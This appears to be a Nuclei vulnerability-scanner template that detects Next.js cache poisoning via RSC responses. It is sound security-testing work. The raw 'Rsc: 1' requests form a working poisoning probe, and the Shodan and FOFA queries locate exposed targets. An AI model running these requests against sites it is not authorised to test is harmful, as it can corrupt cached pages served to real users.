nextjs-rsc-cache: Next.js - Cache Poisoning

id: nextjs-rsc-cache

info:
  name: Next.js - Cache Poisoning
  author: DhiyaneshDk
  severity: high
  description: |
     Next.js is vulnerable to Cache Poisoning using RSC.
  reference:
    - https://zhero-web-sec.github.io/research-and-things/nextjs-and-cache-poisoning-a-quest-for-the-black-hole
  metadata:
    verified: true
    vendor: vercel
    product: next.js
    framework: node.js
    shodan-query:
      - http.html:"/_next/static"
      - cpe:"cpe:2.3:a:zeit:next.js"
    fofa-query: body="/_next/static"
  tags: nextjs,cache,vuln

variables:
  rand: "{{rand_text_numeric(5)}}"

http:
  - raw:
      - |
        GET /?cb={{rand}} HTTP/1.1
        Host: {{Hostname}}
        Priority: u=1
        Rsc: 1

      - |
        @timeout: 10s
        GET /?cb={{rand}} HTTP/1.1
        Host: {{Hostname}}
        Priority: u=1
        Rsc: 1

      - |
        @timeout: 10s
        GET /?cb={{rand}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "status_code_2 == 200 && contains(content_type_2, 'text/x-component') && !contains(cache_control_2, 'no-cache') && !contains(pragma_2, 'no-cache')"
          - "status_code_3 == 200 && contains(content_type_3, 'text/x-component') && !contains(cache_control_3, 'no-cache') && !contains(pragma_3, 'no-cache')"
        condition: and
# digest: 4b0a00483046022100ceb7f9247a0d0473b9979d3e4acaa67e60e87c1b91da2488a05edee065fde1040221009d13a9401fd500b10d0c51aefb5b9451d93839f031cc6e0f91deb5745ffe52fa:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.